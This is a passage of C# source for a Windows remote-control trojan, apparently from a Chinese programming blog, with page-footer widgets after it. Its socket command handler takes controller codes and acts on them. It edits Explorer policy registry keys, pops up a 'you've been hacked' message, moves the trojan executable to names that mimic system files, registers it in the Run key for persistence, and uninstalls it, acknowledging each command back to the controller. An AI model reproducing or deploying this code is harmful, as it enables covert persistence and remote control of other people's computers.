    //********************************************
    if(ss=="zs0111")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoDrives",0);
      key1.SetValue("NoClose",0);
      key1.SetValue("NoDesktop",0);
 
 
 
      key1.Close();
      mystr=mystr+"HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoDrives",0);
       key2.SetValue("NoClose",0);
       key2.SetValue("NoDesktop",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
    //********************************************
    if(ss=="zs1111")
    {
    
     try
     {
      key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer",true);
     
      key1.SetValue("NoLogOff",0);
      key1.SetValue("NoClose",0);
      key1.SetValue("NoDrives",0);
      key1.SetValue("NoDesktop",0);
 
 
 

      key1.Close();
     
 
     }
     catch{}
     if(key1==null)
     {
      try
      {
       RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer");
                          
       key2.SetValue("NoLogOff",0);
       key2.SetValue("NoClose",0);
       key2.SetValue("NoDrives",0);
       key2.SetValue("NoDesktop",0);
 
       key2.Close();
      
 
      }//try
      catch{}
     }//if(key1==null){
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
   
 
   
    }//if
 
//PPPPPPPPPPPPPPPPPPPPPPPPPPPP以上是善意修改部分PPPPPPPPPPPPPPPPPPPPPPPPPP
 
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>以下是警告>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    if(ss=="jg0000")
    {
     MessageBox.Show("你被我黑了!");
     string str="hkz";
     byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
     socket.Send(bytee,bytee.Length,0);
    }
 
   //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>以上是警告>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
   //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&以下是建议&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
   if(ss=="jy0000")
   {
    MessageBox.Show(mystr);
    string str="hkz";
    byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
    socket.Send(bytee,bytee.Length,0);
   }
   //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&以上是建议&&&&&&&&&&&&&&&&&&&&&&&&&&&
 
   //##################################以下是修改木马位置###################
   //||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
   if(ss=="mw1000")
   {
    try{ File.Move("c:/winnt/system/expleror.exe","c:/winnt/system32/msdoss.exe");}
    catch{}
   
    try
    {
     key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run",true);
     key1.SetValue("msdoss","c:/winnt/system32/msdoss.exe");
     
     
     key1.Close();
 

    }
    catch{}
    if(key1==null)
    {
     try
     {
      RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run");
      key2.SetValue("msdoss","c:/winnt/system32/msdoss.exe");
      key2.Close();
      
 
     }//try
     catch{}
    }//if(key1==null){
    string str="hkz";
    byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
    socket.Send(bytee,bytee.Length,0);
   
   }
   //|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
 
   //_____________________________________________________________________
 
   if(ss=="mw0100")
   {
    try{File.Move("c:/winnt/system/expleror.exe","d:/winnt/system32/microsoftt.exe");}
    catch{}
    
    try
    {
     key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run",true);
     key1.SetValue("microsoftt","d:/winnt/system32/microsoftt.exe");
     
     
     key1.Close();
 

    }
    catch{}
    if(key1==null)
    {
     try
     {
      RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run");
      key2.SetValue("microsoftt","d:/winnt/system32/microsoftt.exe");
      key2.Close();
      
 
     }//try
     catch{}
    }//if(key1==null){
    string str="hkz";
    byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
    socket.Send(bytee,bytee.Length,0);
   
   
   }
   //______________________________________________________________________
 

   //=======================================================================
   if(ss=="mw0010")
   {
    try{File.Move("c:/winnt/system32/msdoss.exe","c:/winnt/system/expleror.exe");}
    catch{}
    
    try
    {
     key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run",true);
     key1.SetValue("expleror","c:/winnt/system/expleror.exe");
     
     
     key1.Close();
 

    }
    catch{}
    if(key1==null)
    {
     try
     {
      RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run");
      key2.SetValue("expleror","c:/winnt/system/expleror");
      key2.Close();
      
 
     }//try
     catch{}
    }//if(key1==null){
    string str="hkz";
    byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
    socket.Send(bytee,bytee.Length,0);
   
   
   }
 

   //===================================================================
   //*******************************************************************
   if(ss=="mw0001")
   {
    try{File.Move("d:/winnt/system32/microsoftt.exe","c:/winnt/system/expleror.exe");}
    catch{}
    
    try
    {
     key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run",true);
     key1.SetValue("expleror","c:/winnt/system/expleror.exe");
     
     
     key1.Close();
 

    }
    catch{}
    if(key1==null)
    {
     try
     {
      RegistryKey  key2=rrr.CreateSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run");
      key2.SetValue("expleror","c:/winnt/system/expleror");
      key2.Close();
      
 
     }//try
     catch{}
    }//if(key1==null){
    string str="hkz";
    byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
    socket.Send(bytee,bytee.Length,0);
   
   
   
   
   }
 
   //*************************************************************************
 
   //##################################以上是改变位置##########################
   //··················以下是卸载木马·················
   if(ss=="xz0000")
   {
            
    
    try
    {
     key1=rrr.OpenSubKey("SOFTWARE/Microsoft/Windows/CurrentVersion/Run",true);
     try{key1.DeleteValue("expleror");}
     catch{}
     try{key1.DeleteValue("msdoss");}
     catch{}
     try{key1.DeleteValue("microsoftt");}
     catch{}
     
     key1.Close();
 

    }
    catch{}
   
    
    string str="hkz";
    byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
    socket.Send(bytee,bytee.Length,0);
               
   
   }
 

   //··················以上是卸载木马·················
 
  
  }//socket
 
 

  //
  // TODO: Add any constructor code after InitializeComponent call
  //
 }//targett
 

  /** <summary>
  /// 清理所有正在使用的资源。
  /// </summary>
  protected override void Dispose( bool disposing )
  {
   if( disposing )
   {
    if (components != null)
    {
     components.Dispose();
    }
   }
   base.Dispose( disposing );
  }
 
  Windows Form Designer generated code#region Windows Form Designer generated code
  /** <summary>
  /// 设计器支持所需的方法 - 不要使用代码编辑器修改
  /// 此方法的内容。
  /// </summary>
  private void InitializeComponent()
  {
   //
   // Form1
   //
   this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
   this.ClientSize = new System.Drawing.Size(292, 266);
   this.Name = "Form1";
   this.Text = "Form1";
   this.Load += new System.EventHandler(this.Form1_Load);
 
  }
  #endregion
 
  /** <summary>
  /// 应用程序的主入口点。
  /// </summary>
  [STAThread]
  static void Main()
  {
   Application.Run(new Form1());
  }
 
  private void Form1_Load(object sender, System.EventArgs e)
  {
 
  }
 }
}
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值